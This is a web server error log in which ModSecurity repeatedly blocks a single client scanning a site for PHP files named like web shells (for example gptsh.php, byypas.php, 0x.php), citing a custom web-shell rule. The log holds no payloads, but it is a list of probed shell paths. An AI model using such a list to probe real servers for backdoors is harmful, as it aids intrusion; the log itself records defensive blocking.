[Fri Apr 24 05:23:40.009925 2026] [:error] [pid 19101:tid 19137] [client 20.216.186.228:60225] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeqN3GAHj9bEvrTgbO3DLAAAAEA"]
[Fri Apr 24 05:23:40.542943 2026] [:error] [pid 19101:tid 19161] [client 20.216.186.228:60255] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeqN3GAHj9bEvrTgbO3DLwAAAFg"]
[Fri Apr 24 05:23:41.187296 2026] [:error] [pid 52129:tid 52151] [client 20.216.186.228:58361] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeqN3eKCZKf8_u2LKiBCIgAAARI"]
[Fri Apr 24 05:23:41.688668 2026] [:error] [pid 19200:tid 19209] [client 20.216.186.228:50860] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aeqN3TQ--M3-tsKAnhGIbgAAAME"]
[Fri Apr 24 05:23:42.501157 2026] [:error] [pid 19200:tid 19211] [client 20.216.186.228:52648] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeqN3jQ--M3-tsKAnhGIcQAAAMM"]
[Fri Apr 24 05:23:43.291728 2026] [:error] [pid 19200:tid 19222] [client 20.216.186.228:64597] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeqN3zQ--M3-tsKAnhGIdgAAAM4"]
[Fri Apr 24 05:23:44.030985 2026] [:error] [pid 19200:tid 19218] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Fri Apr 24 05:23:44.268978 2026] [:error] [pid 19200:tid 19211] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri Apr 24 05:23:44.508760 2026] [:error] [pid 19200:tid 19231] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/amwxl.php
[Fri Apr 24 05:23:44.748221 2026] [:error] [pid 19200:tid 19208] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Fri Apr 24 05:23:44.989042 2026] [:error] [pid 19200:tid 19217] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/userfuns.php
[Fri Apr 24 05:23:45.232073 2026] [:error] [pid 19200:tid 19229] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/menu.php
[Fri Apr 24 05:23:45.475665 2026] [:error] [pid 19200:tid 19220] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri Apr 24 05:23:45.716007 2026] [:error] [pid 19200:tid 19215] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/saorix1.php
[Fri Apr 24 05:23:45.983203 2026] [:error] [pid 19200:tid 19213] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/byypas.php
[Fri Apr 24 05:23:46.220979 2026] [:error] [pid 19200:tid 19211] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Fri Apr 24 05:23:46.461544 2026] [:error] [pid 19200:tid 19228] [client 20.216.186.228:44342] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Fri Apr 24 05:23:46.697198 2026] [:error] [pid 19200:tid 19231] [client 20.216.186.228:44342] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeqN4jQ--M3-tsKAnhGIkAAAANc"]
[Fri Apr 24 05:23:47.438395 2026] [:error] [pid 19102:tid 19186] [client 20.216.186.228:58326] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeqN4wDSgrbLEZbkqD6wlAAAAJY"]
[Fri Apr 24 05:23:48.153363 2026] [:error] [pid 19102:tid 19183] [client 20.216.186.228:52617] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeqN5ADSgrbLEZbkqD6wmQAAAJM"]
[Fri Apr 24 05:23:49.032809 2026] [:error] [pid 19102:tid 19187] [client 20.216.186.228:44329] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeqN5QDSgrbLEZbkqD6wnAAAAJc"]
[Fri Apr 24 05:23:50.125197 2026] [:error] [pid 19101:tid 19140] [client 20.216.186.228:64577] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeqN5mAHj9bEvrTgbO3DNwAAAEM"]
[Fri Apr 24 05:23:50.825224 2026] [:error] [pid 19200:tid 19212] [client 20.216.186.228:50112] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeqN5jQ--M3-tsKAnhGIlQAAAMQ"]
[Fri Apr 24 05:23:51.544314 2026] [:error] [pid 52129:tid 52135] [client 20.216.186.228:50147] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeqN5-KCZKf8_u2LKiBCTAAAAQI"]
[Fri Apr 24 05:23:52.142335 2026] [:error] [pid 52129:tid 52140] [client 20.216.186.228:64637] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aeqN6OKCZKf8_u2LKiBCUAAAAQc"]
[Fri Apr 24 05:23:52.911314 2026] [:error] [pid 52129:tid 52151] [client 20.216.186.228:50120] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeqN6OKCZKf8_u2LKiBCWAAAARI"]
[Fri Apr 24 05:23:53.474194 2026] [:error] [pid 52129:tid 52139] [client 20.216.186.228:53990] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeqN6eKCZKf8_u2LKiBCXgAAAQY"]
[Fri Apr 24 05:23:54.059431 2026] [:error] [pid 19200:tid 19216] [client 20.216.186.228:60958] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeqN6jQ--M3-tsKAnhGIlwAAAMg"]
[Fri Apr 24 05:23:54.870254 2026] [:error] [pid 52129:tid 52150] [client 20.216.186.228:53306] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeqN6uKCZKf8_u2LKiBCZwAAARE"]
[Fri Apr 24 05:23:57.638655 2026] [:error] [pid 52129:tid 52138] [client 20.216.186.228:47949] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeqN7eKCZKf8_u2LKiBCdgAAAQU"]
[Fri Apr 24 05:24:03.057505 2026] [:error] [pid 19102:tid 19188] [client 20.216.186.228:57613] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeqN8wDSgrbLEZbkqD6wrwAAAJg"]
[Fri Apr 24 05:24:05.481924 2026] [:error] [pid 19101:tid 19140] [client 20.216.186.228:57659] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeqN9WAHj9bEvrTgbO3DSAAAAEM"]
[Fri Apr 24 05:24:06.374185 2026] [:error] [pid 19200:tid 19210] [client 20.216.186.228:9993] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeqN9jQ--M3-tsKAnhGIowAAAMI"]
[Fri Apr 24 05:24:07.438513 2026] [:error] [pid 19102:tid 19184] [client 20.216.186.228:57632] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeqN9wDSgrbLEZbkqD6wtQAAAJQ"]
[Fri Apr 24 05:24:08.124879 2026] [:error] [pid 52129:tid 52153] [client 20.216.186.228:53352] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeqN-OKCZKf8_u2LKiBCrgAAARQ"]
[Fri Apr 24 05:24:08.865386 2026] [:error] [pid 19200:tid 19221] [client 20.216.186.228:53334] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeqN-DQ--M3-tsKAnhGIqgAAAM0"]
[Fri Apr 24 05:24:09.473065 2026] [:error] [pid 52129:tid 52137] [client 20.216.186.228:59891] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeqN-eKCZKf8_u2LKiBCtwAAAQQ"]
[Fri Apr 24 05:24:10.043297 2026] [:error] [pid 52129:tid 52136] [client 20.216.186.228:57622] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aeqN-uKCZKf8_u2LKiBCugAAAQM"]
[Fri Apr 24 05:24:10.626712 2026] [:error] [pid 52129:tid 52157] [client 20.216.186.228:9990] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aeqN-uKCZKf8_u2LKiBCvgAAARg"]
[Fri Apr 24 05:24:11.260919 2026] [:error] [pid 52129:tid 52156] [client 20.216.186.228:10045] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aeqN--KCZKf8_u2LKiBCwwAAARc"]
[Fri Apr 24 05:24:11.774181 2026] [:error] [pid 19200:tid 19226] [client 20.216.186.228:9237] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aeqN-zQ--M3-tsKAnhGIsAAAANI"]
[Fri Apr 24 05:24:12.313573 2026] [:error] [pid 19102:tid 19167] [client 20.216.186.228:9255] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeqN_ADSgrbLEZbkqD6wwAAAAIM"]
[Fri Apr 24 05:24:12.829584 2026] [:error] [pid 19102:tid 19172] [client 20.216.186.228:57660] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeqN_ADSgrbLEZbkqD6wwQAAAIg"]
[Fri Apr 24 05:24:13.479679 2026] [:error] [pid 19200:tid 19231] [client 20.216.186.228:59886] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeqN_TQ--M3-tsKAnhGItgAAANc"]
[Fri Apr 24 05:24:14.031447 2026] [:error] [pid 52129:tid 52142] [client 20.216.186.228:59893] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeqN_uKCZKf8_u2LKiBC0gAAAQk"]
[Fri Apr 24 05:24:15.050408 2026] [:error] [pid 52129:tid 52157] [client 20.216.186.228:43246] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeqN_-KCZKf8_u2LKiBC2wAAARg"]
[Fri Apr 24 05:24:15.845474 2026] [:error] [pid 19101:tid 19156] [client 20.216.186.228:43205] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeqN_2AHj9bEvrTgbO3DTAAAAFM"]
[Fri Apr 24 05:24:16.469752 2026] [:error] [pid 52129:tid 52149] [client 20.216.186.228:9226] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeqOAOKCZKf8_u2LKiBC5QAAARA"]
[Fri Apr 24 05:24:17.021904 2026] [:error] [pid 52129:tid 52147] [client 20.216.186.228:10002] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aeqOAeKCZKf8_u2LKiBC5wAAAQ4"]
[Fri Apr 24 05:24:17.781566 2026] [:error] [pid 52129:tid 52156] [client 20.216.186.228:59865] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeqOAeKCZKf8_u2LKiBC7AAAARc"]
[Fri Apr 24 05:24:18.382448 2026] [:error] [pid 52129:tid 52138] [client 20.216.186.228:62481] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeqOAuKCZKf8_u2LKiBC8gAAAQU"]
[Fri Apr 24 05:24:18.898036 2026] [:error] [pid 19101:tid 19137] [client 20.216.186.228:62810] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeqOAmAHj9bEvrTgbO3DTgAAAEA"]
[Fri Apr 24 05:24:19.752560 2026] [:error] [pid 52129:tid 52139] [client 20.216.186.228:62810] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeqOA-KCZKf8_u2LKiBC9wAAAQY"]
[Fri Apr 24 05:24:20.731351 2026] [:error] [pid 52129:tid 52138] [client 20.216.186.228:10016] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeqOBOKCZKf8_u2LKiBC_AAAAQU"]
[Fri Apr 24 05:24:21.653053 2026] [:error] [pid 19101:tid 19155] [client 20.216.186.228:62493] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeqOBWAHj9bEvrTgbO3DVgAAAFI"]
[Fri Apr 24 05:24:22.862607 2026] [:error] [pid 19100:tid 19114] [client 20.216.186.228:58954] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeqOBrF_hzQs4Cqbiff-ZQAAAAU"]
[Fri Apr 24 05:24:23.940318 2026] [:error] [pid 19100:tid 19119] [client 20.216.186.228:43253] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeqOB7F_hzQs4Cqbiff-ZgAAAAk"]
[Fri Apr 24 05:24:24.636819 2026] [:error] [pid 19200:tid 19229] [client 20.216.186.228:59894] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeqOCDQ--M3-tsKAnhGIyQAAANU"]
[Fri Apr 24 05:24:25.156425 2026] [:error] [pid 19101:tid 19151] [client 20.216.186.228:42747] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeqOCWAHj9bEvrTgbO3DXQAAAE4"]
[Fri Apr 24 05:24:25.836969 2026] [:error] [pid 19200:tid 19213] [client 20.216.186.228:9230] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeqOCTQ--M3-tsKAnhGIzgAAAMU"]
[Fri Apr 24 05:24:26.576518 2026] [:error] [pid 19100:tid 19113] [client 20.216.186.228:62806] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeqOCrF_hzQs4Cqbiff-agAAAAQ"]
[Fri Apr 24 05:24:27.151794 2026] [:error] [pid 19200:tid 19211] [client 20.216.186.228:53338] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeqOCzQ--M3-tsKAnhGI0AAAAMM"]
